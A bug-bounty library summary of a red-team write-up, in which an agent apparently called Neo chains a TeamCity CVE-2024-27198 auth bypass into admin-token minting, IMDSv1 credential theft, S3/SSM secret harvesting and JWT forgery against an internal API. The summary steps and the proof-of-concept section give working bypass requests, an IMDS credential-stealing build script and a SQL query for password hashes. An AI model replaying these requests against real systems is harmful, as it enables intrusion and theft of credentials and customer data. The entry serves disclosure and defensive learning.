# Red-Teaming Cloud Infrastructure with Neo

Unpatched TeamCity 2023.11.2 auth bypass led to admin token, IMDSv1 credential theft, S3/SSM secret harvest, and pivot to internal API exposing 847K customer records.

- Payout: Research
- Severity: critical
- Program: TeamCity
- Disclosed: 2026-05-21
- CVE: CVE-2024-27198
- Write-up quality: 6/10
- Original: https://projectdiscovery.io/blog/red-teaming-cloud-infrastructure-with-neo
- Library page: https://bugbountylibrary.com/r/blog%3Aprojectdiscovery-io-blog-red-teaming-cloud-infrastructure-with-neo
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access impact:pii-leak kind:research platform:research sev:critical tech:aws tech:ci-cd technique:chained vuln:auth-bypass vuln:path-traversal vuln:secrets-leak

**Target:** Self-hosted TeamCity CI/CD server on AWS EC2 with IMDSv1 and internal REST API
**Root cause:** TeamCity 2023.11.2 vulnerable to CVE-2024-27198 path traversal auth bypass; EC2 instance used IMDSv1 with an overpermissive IAM role, and secrets were duplicated across build configs, S3, SSM and user-data.
**Steps:**
1. Fingerprint login page: `TeamCity 2023.11.2 (build 147486)`
2. Bypass auth: `GET /hax?jsp=/app/rest/server;.jsp` returns server metadata unauthenticated
3. Mint admin token: `POST /hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp`
4. Read build params: `GET /hax?jsp=/app/rest/projects/id:BackendApi/parameters;.jsp` leaks DB URL, SSH key, JWT secret, Stripe key
5. Trigger build step that curls `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to steal IAM role creds
6. Use creds to enumerate S3 buckets (customer SQL dump, legacy static AWS keys) and SSM Parameter Store secrets
7. Create build config that forges HS256 JWT with leaked secret and probes internal API on port 5000
8. Hit `/admin` with forged token: returns exec salaries, DB connection details, 847,295 total_customers stat
9. Query `/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS` for bcrypt hashes
**How found:** Neo fingerprinted the login page to identify the exact TeamCity version, matched it to CVE-2024-27198, then systematically pivoted: read build parameters for secrets, used admin build-trigger capability to reach IMDS, and noticed the JWT secret appeared in four locations enabling token forgery against the internal API.
**Exploitation:** Unauthenticated attacker exploits CVE-2024-27198 to mint a persistent superadmin API token, reads all build secrets, triggers a build step to query IMDSv1 for the EC2 IAM role credentials, uses them to read S3 backups (1,000 customer PII records) and SSM secrets, then uses the leaked JWT signing secret to forge an admin token accepted by the internal API in the private subnet, reaching production DB details and 847K customer stats.
**Escalation:** Chained auth bypass → admin token → build-step code execution → IMDSv1 credential theft → S3/SSM secret harvest → JWT forgery → private subnet pivot → production database access.
**Insight:** Build servers are a credential concentrator: admin access to CI equals code execution on the build agent, which equals IMDS access. Always check whether the CI IAM role can read backup buckets and whether the JWT signing secret is duplicated across build params, SSM, S3 and user-data — any one leak forges internal tokens.

## Proof of concept (copied exactly from the original report)

**TeamCity auth bypass request and admin token mint**

```
GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1
2Host: [target]:8111
3Accept: application/json

cli
 Copy

1HTTP/1.1 200 OK
2TeamCity-Node-Id: MAIN_SERVER
3
4{
5 "version": "2023.11.2 (build 147486)",
6 "buildDate": "2024-01-16",
7 "nodeId": "MAIN_SERVER",
8 "role": "main_node"
9}

The server returns full server metadata to an unauthenticated request, no session cookie and no authorization header. Eighty-two seconds later, a persistent admin API token is minted on the built-in superadmin account.

cli
 Copy

1POST /hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp HTTP/1.1
2Host: [target]:8111
3Accept: application/json
4Content-Type: application/json

json
 Copy

1{
2 "name": "RedTeamToken",
3 "value": "[redacted]"
4}

Full administrative access to the CI/CD platform in under two minutes. The token persists across restarts.
```

**Build step querying IMDS for role credentials**

```
IMDS_ROLE=$(curl -s --connect-timeout 3 \\
2 <http://169.254.169.254/latest/meta-data/iam/security-credentials/> 2>/dev/null)
3curl -s <http://169.254.169.254/latest/meta-data/iam/security-credentials/$IMDS_ROLE>

cli
 Copy

1[09:22:13] [Step 1/1] "AccessKeyId" : "ASIAY7BO3ZCPH6UGIY5Z",
2[09:22:13] [Step 1/1] "SecretAccessKey" : "BnQ71s8UCdrLoBN0KJ75mlJ+TBGRJA7NqTi1T9L1",
3[09:22:13] [Step 1/1] "Token" : "IQoJb3JpZ2luX2VjENn//...",
4[09:22:13] [Step 1/1] "Expiration" : "2026-04-15T14:50:58Z"
```